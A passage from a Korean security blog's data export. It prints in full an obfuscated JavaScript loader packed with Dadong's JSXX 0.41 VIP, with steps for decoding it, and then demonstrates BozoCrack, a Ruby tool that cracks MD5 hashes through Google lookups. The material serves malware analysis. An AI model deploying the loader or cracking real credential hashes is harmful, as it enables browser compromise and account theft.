185C28704D6273576675186E11131050406B40686C7F275A65694164786F615D447A2830536F575E756E7C45707A1C2E3F19586463684A5F7F7F34176E6C13504365436C40753E525C196D70775D474D755D3B5B375569664D5046506D693B685F4F146B7746406677663E40696F105343664D6F4459343A265D185E6352756B656C1C392A4055587568786A78742838195F325978526E6C4E6E273D311B195D40664E61475D18363C232E544D467A59437C2D69345B35624B5040544261352A396E2E7F4A5D7A4244572F524D3B175E4E654E62495E1C6D474B546D47686E56715A3D2E1F395977716E786C7C5B20362D346E6F6C6F75566A5D162C224C425A4D6B4D624A501F6916464B657E6240427E681B485C1E3A6A6454465444651A20475A395E7C4947597E731C152C253C76496843614A53111C191B317C765B4A6C6A6729693C2E197979417C6A7C5D246F56355D794D59616B716732181528257C656C406F495312646B6E1D766F537366447326296D4E585E6A5C695042651C511551436A6A68714D436826306F152A656F40446C47501260631F6E5A654A7B5F4E5D32272F1F3C6F4D4F7445785B246F24685277794F405D655A2955306D656D764A6868445E116461646C5E4940625777571C47555C687F7C6867586D611A201D566C62645C676C757C1B27554369547E536244405D1F671010135D4D6C684E7F6E161F37252C596C59404B70742068261F21587141744B446C3D695D26405E475B7B4E6C591C1B106067534E68444466662F191A46296B4A49716C6369355414201D664B546958635D2D49192722704D6273576675181F10646050406B40686C7F272B176E4764786F615D447A283B536E515E756E7C45707A1C2E326E5B6463684A5F7F7F34181F1063504365436C40753E565B671F70775D474D755D3B5D47261D664D5046506D693B135F3D146B7746406677663E411D1D1E5343664D6F445934485428125E6352756B656C1C3A5D3A20587568786A7874284E1E59335978526E6C4E6E273E3518685D40664E61475D18414C5259544D467A59437C2D6D482935624B5040544261352B4F1E2C7F4A5D7A4244572F513B3B195E4E654E62495E1C1A424A286D47686E56715A3D291D492C77716E786C7C5B203B2649186F6C6F75566A5D162E204B465A4D6B4D624A501F1819474B657E6240427E681B4C2C693D6A6454465444651A52312C3A5E7C4947597E731C635D513876496843614A53111B1D19337C765B4A6C6A67291F3C58127979417C6A7C5D241A2F405A794D59616B7167326E1229267C656C406F495312116D6E1B766F537366447326281C3F2F5E6A5C695042651C271F23336A6A68714D436826356D152A656F40446C47501210601C6D5A654A7B5F4E5D32292A18336F4D4F7445785B246823185177794F405D655A29273218646D764A6868445E116613601D5E4940625777571C3D57261C7F7C6867586D611A2168501462645C676C757C1B2D29471A547E536244405D1F171713145D4D6C684E7F6E166F402128596C59404B7074201B501827587141744B446C3D695D57375E475B7B4E6C591C18116361534E68444466662F106F46236B4A49716C636935256C5713664B546958635D2D4B1F2927704D6273576675186F11171C50406B40686C7F272A641E3764786F615D447A28372E15555E756E7C45707A1C29391E276463684A5F7F7F346D1C6963504365436C40753E275E101A70775D474D755D3B59345619664D5046506D693B1C23486F6B7746406677663E421D18185343664D6F4459344C515B185E6352756B656C1C4E2F4655587568786A7874284A6E2E385978526E6C4E6E2738321F185D40664E61475D184039262E544D467A59437C2D1A342B46624B5040544261355A4A192D7F4A5D7A4244572F2148371C5E4E654E62495E1C17303F276D47686E56715A3D2A694D2F77716E786C7C5B20322A341F6F6C6F75566A5D162E294D375A4D6B4D624A501F1B1C423F657E6240427E681B4E58683E6A6454465444651A23332E485E7C4947597E731C1959213D76496843614A53111A1E1E337C765B4A6C6A67296D4E581C7979417C6A7C5D241E53362A794D59616B7167321A132E527C656C406F495312121E1918766F5373664473265F144F5F5E6A5C695042651C571853406A6A68714D43682646126221656F40446C4750121D116B6F5A654A7B5F4E5D32282C15386F4D4F7445785B2468526E5677794F405D655A29283668606D764A6868445E116663621E5E4940625777571C41295A1C7F7C6867586D611A571D571F62645C676C757C1B5A543C18547E536244405D1F621561145D4D6C684E7F6E166F35282C596C59404B70742014216F50587141744B446C3D682C523C5E475B7B4E6C591C11156610534E68444466662F621E41296B4A49716C63693555695713664B546958635D2D48685C55704D627357667518696C646150406B40686C7F275A65694164786F615D447A2840536F575E756E7C45707A1C584E6E5A6463684A5F7F7F346D6F6A62504365436C40753E525C636F70775D474D755D3B5A43526C31101E276660584F1E3A370C6B7F60584279606C2B5E496F65100B544D5B43626A75300E5E6352756B656C1C23782E350866093A042C0F157A4A682A54537B4E1E0125307C6D4A584B4755400E0A0E5A336A207B045E35722E4F2833100115757F447F4E33056F4F75471E34664970767143012430397B1E1B18160C055E65416436222D3859666F5A2B1707105D6D6D22614B7462270D2A223F746670411930627049526C62606D4803180A155D1E181B0F2E29617A6668303F7249647D5F6436223C0D6249546E223912065C7263407B312D5D477F593D2D434E4641514D06140B1F7B3D2028111B2C31684A6D531F2C343F375B754C5A192C0F157A4A682A627A744E1E0125307F6548621C085650445B5F5D6A677730110725392E54322A1B3C2F2F21043C193A161A082401217E6F407B65600B6055536D564D1D132B2F4143444E5B6629454E6A786055281707104F69736763483363404052312401217E6F407B65600B447F494E6E5E5F1E1D282F424D474A776C306F476652664919311721687A6E7259760B58624F5749785D2A312114756047446C7529795C6F475576141D25214B6665756C440B6E75736A3E2126067B677B48674E3367537176674F22312114756047446C75296D5C4A4E131E282C4C4E43667D753860654F44796A322126067B677B48674E3361627765407A29312114756047446C75294A555B5E61544B14132625676C7C7D554E257B5869522B100115667241765F760D746748654A5B611D251C0F4F4474757D660F685B4A5F5747191022096D7574445F60315C6E7C5E1837120873487F4E6748374C4E7F594B3B17131B614E4D7D646C234B7C5D73161E2B224F4A6F6C647D014E5263661E311721687A6E7259760B61697E672B3726106E497274714E014C614B617B64181D282F424D474A776C3057515A63252521007E4E607A76720D72637E4B2F3912064F7F66496A7425466A6B7F51604A18132B2F664944474A607D5779534964767B0423212606\u0026#34;; AMCdUb6=\u0026#34;function UVKSeD6(){HSmE3=Math.PI;aHmf8=Math.tan;egYGmqt6=parseInt;wfMWwW5=\u0026#39;length\u0026#39;;TqBbTO0=\u0026#39;test\u0026#39;;dWuU3=\u0026#39;replace\u0026#39;;KOXUVtv0=egYGmqt6(~((HSmE3\u0026amp;HSmE3)|(~HSmE3\u0026amp;HSmE3)\u0026amp;(HSmE3\u0026amp;~HSmE3)|(~HSmE3\u0026amp;~HSmE3)));zsDosS1=egYGmqt6(((KOXUVtv0\u0026amp;KOXUVtv0)|(~KOXUVtv0\u0026amp;KOXUVtv0)\u0026amp;(KOXUVtv0\u0026amp;~KOXUVtv0)|(~KOXUVtv0\u0026amp;~KOXUVtv0))\u0026amp;1);/Encrypt By www.krmeok.com\u0026#39;s JSXX 0.41 VIP/kdmF4=zsDosS1\u0026lt;\u0026lt;zsDosS1;new function(){jFEX1=ceWiaAk1(\u0026#39;a1Qe4dG]6zY^k8b]#\u0026amp;,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt=\u0026#39;dWuU3);};try{if(!\\/^\\d$\\/gTqBbTO0);}catch(e){JDsikd8=KOXUVtv0;}nsaf5=\u0026#39;\u0026#39;;ANJUgF8=eval(BBvD3(\u0026#39;%5\u0026#39;+\u0026#39;3%74%\u0026#39;+\u0026#39;72%69%6\u0026#39;+\u0026#39;E%67%2E%\u0026#39;+\u0026#39;66%72%\u0026#39;+\u0026#39;6F%6D%4\u0026#39;+\u0026#39;3%68%61\u0026#39;+\u0026#39;%72%4\u0026#39;+\u0026#39;3%6F%64\u0026#39;+\u0026#39;%65\u0026#39;));for(LuuzLQ3=KOXUVtv0;LuuzLQ3\u0026lt;AMCdUb6[wfMWwW5];LuuzLQ3-=-zsDosS1)JDsikd8+=AMCdUb6.charCodeAt(LuuzLQ3);JDsikd8%=BBvD3(KOXUVtv0+BBvD3(\u0026#39;x\u0026#39;)+(1\u0026lt;\u0026lt;6)-zsDosS1);Opqf4+=zsDosS1;for(LuuzLQ3=KOXUVtv0,NQsrQ1=zsDosS1;LuuzLQ3\u0026lt;IzpvGqn2[wfMWwW5];LuuzLQ3+=kdmF4,NQsrQ1++,JDsikd8=JDsikd8+NQsrQ1){if(\\/^(\\d{4})\\/gTqBbTO0)JDsikd8%=49;nsaf5+=ANJUgF8(egYGmqt6(KOXUVtv0+BBvD3(\u0026#39;x\u0026#39;)+IzpvGqn2.charAt(LuuzLQ3)+IzpvGqn2.charAt(LuuzLQ3+egYGmqt6(zsDosS1)))^JDsikd8);}try{new function(){jFEX1(nsaf5);}}catch(e){try{new function(){eWrx2=parseInt;aHmf8(nsaf5);}}catch(e) {window.location=\u0026#39;.\u0026#39;;}}}try{ceWiaAk1(\u0026#39;UVKSeD6();\u0026#39;)}catch(e) {try{Opqf4=KOXUVtv0;ceWiaAk1(\u0026#39;UVKSeD6();\u0026#39;);}catch(e){alert(\u0026#39;ere\u0026#39;);}}\u0026#34;; Cslzra1 = ceWiaAk1(ceWiaAk1); Cslzra1(AMCdUb6); \u0026lt;/script\u0026gt; jFEX1 변수를 jFEY0로 변경 (마지막 숫자는 감소, 바로 앞 문자는 증가) 후 document.write 또는 alert 로 지정해주고 실행하면 디코딩 된 결과를 볼 수 있습니다.\n마지막 숫자는 감소하고 바로 앞 문자를 증가시키는 이유는 몰랐었는데 hackmin님의 댓글로 확인할 수 있었습니다. hackmin님께 감사드리며 이하 댓글 내용 입니다.\n1 2 3 4 5 6 저도 샘플을 하나 확보해서 확인해보았는데요 ... 마지막 부분이 0으로 되어있더군요 .. 그래서 왜 이렇게 1 더하고 1 빼고 하나 확인해보았는데요 .. AMCdUb6.charCodeAt(LuuzLQ3) -\u0026gt; 이 부분이 들어가는 곳에서 각 문자에 대한 int(char) 값을 모두 더한 값을 key로 이용해서 난독화를 해제하더군요 .. 그래서 1더하고 1빼고 그 변수명으로 alert 나 document.write로 변경하는 건 단순히 key 값의 총 합계를 맞추기 위함이었습니다. 때문에, 앞에꺼 +1 하고 뒤에꺼 -1는 중요한게 아니고, 앞에꺼 +2 하고 뒤에꺼 -2해도 결과는 나오게 됩니다. 중요한건 key 값의 value 더군요 1 2 3 4 5 6 7 8 9 \u0026lt;script\u0026gt; ceWiaAk1 = eval; BBvD3=unescape; IzpvGqn2=\u0026#34;476046490C072B0F17045648F2CAF4C88AED86A06555767447BF9BF6D3381A7345B5C7B4880B2318E48ECD0F61AA9B9C4314E1F99C750D4B9BDC1B12C2A1472BC2993B69A5E21D00D85035ED9869598B2259876B158A40C4B3665CF217B8D453E1AA4DCD8059A1CF203FA75EFE52EBB7650AD838C3C255FA75CE78C878E328DC129E39FB78E76ECA4EDD27DE3AA71DCE40FB4EFE47C818F73AE120C14D8A7AF643B82D8D388A32DF4B94409042AD35F0488E58BB4AA17A8E44932F9248821D9A4EA94EAE499A1CC3368852A947AC6E9271863D9B6949DB77BD6E78A87C8720B1594AA96F996F7556955D162D24B845864D6B4D624A501F696A42CD657E6240427E681B687E49686A6454465444651A533B5A3E5E7C4947597E731C195C214A76496843614A53116A6F6D477C765B4A6C6A67291F3C586F7979417C6A7C5D246F26445B794D59616B71673268652B267C656C406F49531217186A1E766F5373664473265A19392C5E6A5C695042651C201B55376A6A68714D436826411C1559656F40446C475012601269685A654A7B5F4E5D32212D193F6F4D4F7445785B2469576F5177794F405D655A29234169656D764A6868445E111110136E5E4940625777571C3D545A197F7C6867586D611A516F2B6B62645C676C757C1B5A24476F547E536244405D1F6560601E5D4D6C684E7F6E1668435526596C59404B7074201E256E2A587141744B446C3D6E2F57475E475B7B4E6C591C18151010534E68444466662F636F47526B4A49716C636935241B516F664B546958635D2D4E1B2B24704D6273576675186E1C641D50406B40686C7F272A121E3064786F615D447A2840536F555E756E7C45707A1C2F4C6E5A6463684A5F7F7F346B1E1C12504365436C40753E542B651970775D474D755D3B5D465569664D5046506D693B68224E196B7746406677663E471E686E5343664D6F4459344C295C115E6352756B656C1C4D5D3625587568786A7874283B6F29325978526E6C4E6E2748466C135D40664E61475D18473B542D544D467A59437C2D69485B31624B5040544261355B39695E7F4A5D7A4244572F534F40175E4E654E62495E1C6B334D216D47686E56715A3D291D492677716E786C7C5B20402E4A696F6C6F75566A5D162B233C365A4D6B4D624A501F696B414A657E6240427E681B392C69486A6454465444651A53352A395E7C4947597E731C642C524A76496843614A53116C181A367C765B4A6C6A67296E4E586D7979417C6A7C5D241851405B794D59616B7167326F142C247C656C406F4953121E6D6F1E766F5373664473265C68325C5E6A5C695042651C506853376A6A68714D4368264113652D656F40446C475012601F6C1A5A654A7B5F4E5D32575C1F3C6F4D4F7445785B241E266F2677794F405D655A2953466F136D764A6868445E116761646C5E4940625777571C30242D1A7F7C6867586D611A5168571A62645C676C757C1B2B24401F547E536244405D1F646363145D4D6C684E7F6E166941535A596C59404B70742019271E55587141744B446C3D192F22465E475B7B4E6C591C6A656761534E68444466662F636F47556B4A49716C636935211C201D664B546958635D2D3D692D52704D627357667518696C156150406B40686C7F275A65694164786F615D447A28405369245E756E7C45707A1C5B3D68296463684A5F7F7F346B1C6D63504365436C40753E242A636F70775D474D755D3B5A33526F664D5046506D693B1C5E32696B7746406677663E306B6D6C5343664D6F4459344B5520105E6352756B656C1C4F274053587568786A7874283B6A2E3E5978526E6C4E6E274B466D125D40664E61475D18474A5529544D467A59437C2D6F342631624B50405442613559351C5B7F4A5D7A4244572F5230416A5E4E654E62495E1C6B3B4A256D47686E56715A3D586F4E5B77716E786C7C5B20352B346E6F6C6F75566A5D165D534C405A4D6B4D624A501F6E6E464C657E6240427E681B325F6E4F6A6454465444651A243428485E7C4947597E731C642D564B76496843614A5311116D1A367C765B4A6C6A67296E4E58687979417C6A7C5D241E52405B794D59616B71673269652C257C656C406F4953121510691D766F5373664473265C683C225E6A5C695042651C516955466A6A68714D436826476F652F656F40446C47501267626C1C5A654A7B5F4E5D32535B683D6F4D4F7445785B246957692077794F405D655A2953436F166D764A6868445E116761621D5E4940625777571C47555C687F7C6867586D611A566E246962645C676C757C1B5853361D547E536244405D1F13101C1F5D4D6C684E7F6E166946535D596C59404B7074206F576957587141744B446C3D6A5C22315E475B7B4E6C591C6C116161534E68444466662F646F47556B4A49716C636935526F2719664B546958635D2D39182724704D6273576675186F11606750406B40686C7F275E63183364786F615D447A28462069575E756E7C45707A1C5E3D6E5A6463684A5F7F7F346B1C6A62504365436C40753E542F636F70775D474D755D3B5B355514664D5046506D693B6E5E48686B7746406677663E466D1F1A5343664D6F4459344D2721105E6352756B656C1C48284053587568786A787428481C584E5978526E6C4E6E274D366D6F5D40664E61475D18414D512A544D467A59437C2D69485D30624B5040544261352B3E6E5E7F4A5D7A4244572F2838466D5E4E654E62495E1C69413A246D47686E56715A3D291D4F2A77716E786C7C5B2046264A186F6C6F75566A5D165B213A475A4D6B4D624A501F1F1D413C657E6240427E681B49231A4A6A6454465444651A24465D3D5E7C4947597E731C632D533876496843614A53116A6F1B317C765B4A6C6A67296E3259127979417C6A7C5D246E2E315B794D59616B7167321F135A257C656C406F495312136E1A69766F5373664473262D183F2C5E6A5C695042651C206924406A6A68714D436826476F635C656F40446C47501212676A6F5A654A7B5F4E5D32525A6A486F4D4F7445785B2469576F5377794F405D655A29534169656D764A6868445E11636711695E4940625777571C47555D157F7C6867586D611A516F516962645C676C757C1B5A26476F547E536244405D1F621267625D4D6C684E7F6E166F32535A596C59404B7074201E256957587141744B446C3D685A57475E475B7B4E6C591C1C146061534E68444466662F191E40536B4A49716C636935246F201D664B546958635D2D48682D55704D627357667518696C646150406B40686C7F275A656F3264786F615D447A2844241E235E756E7C45707A1C5F496F276463684A5F7F7F346C691C14504365436C40753E555C626F70775D474D755D3B5C40231F664D5046506D693B1F284E686B7746406677663E3B6B6E6A5343664D6F4459344A522C135E6352756B656C1C382D4653587568786A78742834125F485978526E6C4E6E274A411B195D40664E61475D18373B532D544D467A59437C2D6D485A40624B5040544261352B3A182C7F4A5D7A4244572F274D3B6A5E4E654E62495E1C193531556D47686E56715A3D2F1A3F5C77716E786C7C5B2040594E6F6F6C6F75566A5D165A544B475A4D6B4D624A501F1C1E303F657E6240427E681B3E2F18496A6454465444651A54325A355E7C4947597E731C122C523C76496843614A53116A686E327C765B4A6C6A67291B4E296E7979417C6A7C5D2418214026794D59616B71673218172C557C656C406F495312151E1C1E766F5373664473262D693C2E5E6A5C695042651C526920476A6A68714D436826326F195D656F40446C47501260656D6F5A654A7B5F4E5D32545A694F6F4D4F7445785B246E57685377794F405D655A2954416E656D764A6868445E116064636C5E4940625777571C40555B687F7C6867586D611A5669271F62645C676C757C1B2D27471E547E536244405D1F631C66155D4D6C684E7F6E166A41242B596C59404B7074206F576950587141744B446C3D192B53415E475B7B4E6C591C6A62611D534E68444466662F636F47556B4A49716C6369355368571E664B546958635D2D496D5D53704D6273576675186F1D646150406B40686C7F275C14684064786F615D447A284625692A5E756E7C45707A1C293C69276463684A5F7F7F346D1A6E64504365436C40753E2921141E70775D474D755D3B5D465569664D5046506D693B182E48686B7746406677663E3B1E6D6A5343664D6F44593438535C185E6352756B656C1C4E5B402E587568786A7874284E6F584E5978526E6C4E6E2738471C1B5D40664E61475D18373B545C544D467A59437C2D1F3E2B30624B5040544261355B346F2D7F4A5D7A4244572F534B371D5E4E654E62495E1C1C3531216D47686E56715A3D5B6F4A5D77716E786C7C5B20402A391E6F6C6F75566A5D165A544B475A4D6B4D624A501F136A414D657E6240427E681B4F5F1D3A6A6454465444651A52475A495E7C4947597E731C152A554C76496843614A53111B6F19477C765B4A6C6A6729193F221E7979417C6A7C5D241522315B794D59616B71673268192D247C656C406F495312156B6A6C766F5373664473265C14492F5E6A5C695042651C216925466A6A68714D436826376F135C656F40446C47501267136B125A654A7B5F4E5D32252C1F3C6F4D4F7445785B241825682F77794F405D655A2922351E106D764A6868445E11671D606C5E4940625777571C30552A1E7F7C6867586D611A2269261862645C676C757C1B5C55476F547E536244405D1F116067625D4D6C684E7F6E161A41242B596C59404B7074206F576957587141744B446C3D1C2B53415E475B7B4E6C591C6A656466534E68444466662F126F47286B4A49716C636935551C246D664B546958635D2D3F195C55704D627357667518696C146050406B40686C7F275A65694164786F615D447A2837261E505E756E7C45707A1C58496E5A6463684A5F7F7F346D6F6A62504365436C40753E2429121D70775D474D755D3B28432468664D5046506D693B1C5B48156B7746406677663E3B6969695343664D6F4459343B535B185E6352756B656C1C3B5E4026587568786A7874284E125C4B5978526E6C4E6E273A376B6E5D40664E61475D18453B265B544D467A59437C2D6D4D2843624B5040544261352E48692F7F4A5D7A4244572F224847175E4E654E62495E1C18423E266D47686E56715A3D581A4A5E77716E786C7C5B20445B49686F6C6F75566A5D165B2239345A4D6B4D624A501F6D6E3448657E6240427E681B32296A486A6454465444651A27405E3C5E7C4947597E731C1659283D76496843614A5311691269427C765B4A6C6A6729683E2A1E7979417C6A7C5D246C213426794D59616B7167326D602F517C656C406F495312161B6A1A766F5373664473265A6E49285E6A5C695042651C246C26466A6A68714D436826441A6759656F40446C47501214121C1A5A654A7B5F4E5D32202E144B6F4D4F7445785B246D521A5677794F405D655A29233012656D764A6868445E116461641F5E4940625777571C41282A197F7C6867586D611A2B6F226E62645C676C757C1B5C55476F547E536244405D1F151367625D4D6C684E7F6E166934575A596C59404B7074206E571825587141744B446C3D1D2E50345E475B7B4E6C591C6C131613534E68444466662F121D47246B4A49716C636935531A276A664B546958635D2D4F185C28704D6273576675186E11131050406B40686C7F275A65694164786F615D447A2830536F575E756E7C45707A1C2E3F19586463684A5F7F7F34176E6C13504365436C40753E525C196D70775D474D755D3B5B375569664D5046506D693B685F4F146B7746406677663E40696F105343664D6F4459343A265D185E6352756B656C1C392A4055587568786A78742838195F325978526E6C4E6E273D311B195D40664E61475D18363C232E544D467A59437C2D69345B35624B5040544261352A396E2E7F4A5D7A4244572F524D3B175E4E654E62495E1C6D474B546D47686E56715A3D2E1F395977716E786C7C5B20362D346E6F6C6F75566A5D162C224C425A4D6B4D624A501F6916464B657E6240427E681B485C1E3A6A6454465444651A20475A395E7C4947597E731C152C253C76496843614A53111C191B317C765B4A6C6A6729693C2E197979417C6A7C5D246F56355D794D59616B716732181528257C656C406F495312646B6E1D766F537366447326296D4E585E6A5C695042651C511551436A6A68714D436826306F152A656F40446C47501260631F6E5A654A7B5F4E5D32272F1F3C6F4D4F7445785B246F24685277794F405D655A2955306D656D764A6868445E116461646C5E4940625777571C47555C687F7C6867586D611A201D566C62645C676C757C1B27554369547E536244405D1F671010135D4D6C684E7F6E161F37252C596C59404B70742068261F21587141744B446C3D695D26405E475B7B4E6C591C1B106067534E68444466662F191A46296B4A49716C6369355414201D664B546958635D2D49192722704D6273576675181F10646050406B40686C7F272B176E4764786F615D447A283B536E515E756E7C45707A1C2E326E5B6463684A5F7F7F34181F1063504365436C40753E565B671F70775D474D755D3B5D47261D664D5046506D693B135F3D146B7746406677663E411D1D1E5343664D6F445934485428125E6352756B656C1C3A5D3A20587568786A7874284E1E59335978526E6C4E6E273E3518685D40664E61475D18414C5259544D467A59437C2D6D482935624B5040544261352B4F1E2C7F4A5D7A4244572F513B3B195E4E654E62495E1C1A424A286D47686E56715A3D291D492C77716E786C7C5B203B2649186F6C6F75566A5D162E204B465A4D6B4D624A501F1819474B657E6240427E681B4C2C693D6A6454465444651A52312C3A5E7C4947597E731C635D513876496843614A53111B1D19337C765B4A6C6A67291F3C58127979417C6A7C5D241A2F405A794D59616B7167326E1229267C656C406F495312116D6E1B766F537366447326281C3F2F5E6A5C695042651C271F23336A6A68714D436826356D152A656F40446C47501210601C6D5A654A7B5F4E5D32292A18336F4D4F7445785B246823185177794F405D655A29273218646D764A6868445E116613601D5E4940625777571C3D57261C7F7C6867586D611A2168501462645C676C757C1B2D29471A547E536244405D1F171713145D4D6C684E7F6E166F402128596C59404B7074201B501827587141744B446C3D695D57375E475B7B4E6C591C18116361534E68444466662F106F46236B4A49716C636935256C5713664B546958635D2D4B1F2927704D6273576675186F11171C50406B40686C7F272A641E3764786F615D447A28372E15555E756E7C45707A1C29391E276463684A5F7F7F346D1C6963504365436C40753E275E101A70775D474D755D3B59345619664D5046506D693B1C23486F6B7746406677663E421D18185343664D6F4459344C515B185E6352756B656C1C4E2F4655587568786A7874284A6E2E385978526E6C4E6E2738321F185D40664E61475D184039262E544D467A59437C2D1A342B46624B5040544261355A4A192D7F4A5D7A4244572F2148371C5E4E654E62495E1C17303F276D47686E56715A3D2A694D2F77716E786C7C5B20322A341F6F6C6F75566A5D162E294D375A4D6B4D624A501F1B1C423F657E6240427E681B4E58683E6A6454465444651A23332E485E7C4947597E731C1959213D76496843614A53111A1E1E337C765B4A6C6A67296D4E581C7979417C6A7C5D241E53362A794D59616B7167321A132E527C656C406F495312121E1918766F5373664473265F144F5F5E6A5C695042651C571853406A6A68714D43682646126221656F40446C4750121D116B6F5A654A7B5F4E5D32282C15386F4D4F7445785B2468526E5677794F405D655A29283668606D764A6868445E116663621E5E4940625777571C41295A1C7F7C6867586D611A571D571F62645C676C757C1B5A543C18547E536244405D1F621561145D4D6C684E7F6E166F35282C596C59404B70742014216F50587141744B446C3D682C523C5E475B7B4E6C591C11156610534E68444466662F621E41296B4A49716C63693555695713664B546958635D2D48685C55704D627357667518696C646150406B40686C7F275A65694164786F615D447A2840536F575E756E7C45707A1C584E6E5A6463684A5F7F7F346D6F6A62504365436C40753E525C636F70775D474D755D3B5A43526C31101E276660584F1E3A370C6B7F60584279606C2B5E496F65100B544D5B43626A75300E5E6352756B656C1C23782E350866093A042C0F157A4A682A54537B4E1E0125307C6D4A584B4755400E0A0E5A336A207B045E35722E4F2833100115757F447F4E33056F4F75471E34664970767143012430397B1E1B18160C055E65416436222D3859666F5A2B1707105D6D6D22614B7462270D2A223F746670411930627049526C62606D4803180A155D1E181B0F2E29617A6668303F7249647D5F6436223C0D6249546E223912065C7263407B312D5D477F593D2D434E4641514D06140B1F7B3D2028111B2C31684A6D531F2C343F375B754C5A192C0F157A4A682A627A744E1E0125307F6548621C085650445B5F5D6A677730110725392E54322A1B3C2F2F21043C193A161A082401217E6F407B65600B6055536D564D1D132B2F4143444E5B6629454E6A786055281707104F69736763483363404052312401217E6F407B65600B447F494E6E5E5F1E1D282F424D474A776C306F476652664919311721687A6E7259760B58624F5749785D2A312114756047446C7529795C6F475576141D25214B6665756C440B6E75736A3E2126067B677B48674E3367537176674F22312114756047446C75296D5C4A4E131E282C4C4E43667D753860654F44796A322126067B677B48674E3361627765407A29312114756047446C75294A555B5E61544B14132625676C7C7D554E257B5869522B100115667241765F760D746748654A5B611D251C0F4F4474757D660F685B4A5F5747191022096D7574445F60315C6E7C5E1837120873487F4E6748374C4E7F594B3B17131B614E4D7D646C234B7C5D73161E2B224F4A6F6C647D014E5263661E311721687A6E7259760B61697E672B3726106E497274714E014C614B617B64181D282F424D474A776C3057515A63252521007E4E607A76720D72637E4B2F3912064F7F66496A7425466A6B7F51604A18132B2F664944474A607D5779534964767B0423212606\u0026#34;; jFEY0 = document.write AMCdUb6=\u0026#34;function UVKSeD6(){HSmE3=Math.PI;aHmf8=Math.tan;egYGmqt6=parseInt;wfMWwW5=\u0026#39;length\u0026#39;;TqBbTO0=\u0026#39;test\u0026#39;;dWuU3=\u0026#39;replace\u0026#39;;KOXUVtv0=egYGmqt6(~((HSmE3\u0026amp;HSmE3)|(~HSmE3\u0026amp;HSmE3)\u0026amp;(HSmE3\u0026amp;~HSmE3)|(~HSmE3\u0026amp;~HSmE3)));zsDosS1=egYGmqt6(((KOXUVtv0\u0026amp;KOXUVtv0)|(~KOXUVtv0\u0026amp;KOXUVtv0)\u0026amp;(KOXUVtv0\u0026amp;~KOXUVtv0)|(~KOXUVtv0\u0026amp;~KOXUVtv0))\u0026amp;1);/Encrypt By www.krmeok.com\u0026#39;s JSXX 0.41 VIP/kdmF4=zsDosS1\u0026lt;\u0026lt;zsDosS1;new function(){jFEX1=ceWiaAk1(\u0026#39;a1Qe4dG]6zY^k8b]#\u0026amp;,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt=\u0026#39;dWuU3);};try{if(!\\/^\\d$\\/gTqBbTO0);}catch(e){JDsikd8=KOXUVtv0;}nsaf5=\u0026#39;\u0026#39;;ANJUgF8=eval(BBvD3(\u0026#39;%5\u0026#39;+\u0026#39;3%74%\u0026#39;+\u0026#39;72%69%6\u0026#39;+\u0026#39;E%67%2E%\u0026#39;+\u0026#39;66%72%\u0026#39;+\u0026#39;6F%6D%4\u0026#39;+\u0026#39;3%68%61\u0026#39;+\u0026#39;%72%4\u0026#39;+\u0026#39;3%6F%64\u0026#39;+\u0026#39;%65\u0026#39;));for(LuuzLQ3=KOXUVtv0;LuuzLQ3\u0026lt;AMCdUb6[wfMWwW5];LuuzLQ3-=-zsDosS1)JDsikd8+=AMCdUb6.charCodeAt(LuuzLQ3);JDsikd8%=BBvD3(KOXUVtv0+BBvD3(\u0026#39;x\u0026#39;)+(1\u0026lt;\u0026lt;6)-zsDosS1);Opqf4+=zsDosS1;for(LuuzLQ3=KOXUVtv0,NQsrQ1=zsDosS1;LuuzLQ3\u0026lt;IzpvGqn2[wfMWwW5];LuuzLQ3+=kdmF4,NQsrQ1++,JDsikd8=JDsikd8+NQsrQ1){if(\\/^(\\d{4})\\/gTqBbTO0)JDsikd8%=49;nsaf5+=ANJUgF8(egYGmqt6(KOXUVtv0+BBvD3(\u0026#39;x\u0026#39;)+IzpvGqn2.charAt(LuuzLQ3)+IzpvGqn2.charAt(LuuzLQ3+egYGmqt6(zsDosS1)))^JDsikd8);}try{new function(){jFEY0(nsaf5);}}catch(e){try{new function(){eWrx2=parseInt;aHmf8(nsaf5);}}catch(e) {window.location=\u0026#39;.\u0026#39;;}}}try{ceWiaAk1(\u0026#39;UVKSeD6();\u0026#39;)}catch(e) {try{Opqf4=KOXUVtv0;ceWiaAk1(\u0026#39;UVKSeD6();\u0026#39;);}catch(e){alert(\u0026#39;ere\u0026#39;);}}\u0026#34;; Cslzra1 = ceWiaAk1(ceWiaAk1); Cslzra1(AMCdUb6); \u0026lt;/script\u0026gt; 출처 : http://www.kahusecurity.com/2012/chinese-pack-using-dadongs-jsxx-vip-script/\n","date":"2012-03-01T17:13:04Z","permalink":"/2012/03/01/%EC%83%88%EB%A1%9C%EC%9A%B4-%EB%82%9C%EB%8F%85%ED%99%94-%ED%95%B4%EC%A0%9C-%EA%BC%BC%EC%88%98/","title":"새로운 난독화 해제 방법 (Encrypt By Dadong's JSXX 0.41 VIP)"},{"content":"MD5 Hash를 꺠는데 구글을 이용하여 레인보우 테이블이나 브루트포스 공격보다 더 빠르게 찾을 수 있는 BozoCrack 이란게 있다고 하여 간단하게 테스트를 해보았습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 [root@localhost byjjoon]# cat test.txt 098f6bcd4621d373cade4e832627b4f6 755f85c2723bb39381c7379a604160d8 f6182f0359f72aae12fb90d305ccf9eb eb938c5aa46863c29e86c64a2c2ed60c [root@localhost byjjoon]# ruby bozocrack.rb Usage example: ruby bozocrack.rb file_with_md5_hashes.txt [root@localhost byjjoon]# ruby bozocrack.rb test.txt Loaded 4 unique hashes 098f6bcd4621d373cade4e832627b4f6:test 755f85c2723bb39381c7379a604160d8:good f6182f0359f72aae12fb90d305ccf9eb:young eb938c5aa46863c29e86c64a2c2ed60c:pyj 꽤 빠르게 뽑아주네요 다운로드는 아래 사이트에서 하실 수 있습니다. https://github.com/juuso/BozoCrack/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 require \u0026#39;digest/md5\u0026#39; require \u0026#39;net/http\u0026#39; class BozoCrack def initialize(filename) @hashes = Array.new @cache = Hash.new File.new(filename).each_line do |line| if m = line.chomp.match(/\\b([a-fA-F0-9]{32})\\b/) @hashes \u0026lt;\u0026lt; m[1] end end @hashes.uniq! puts \u0026#34;Loaded #{@hashes.count} 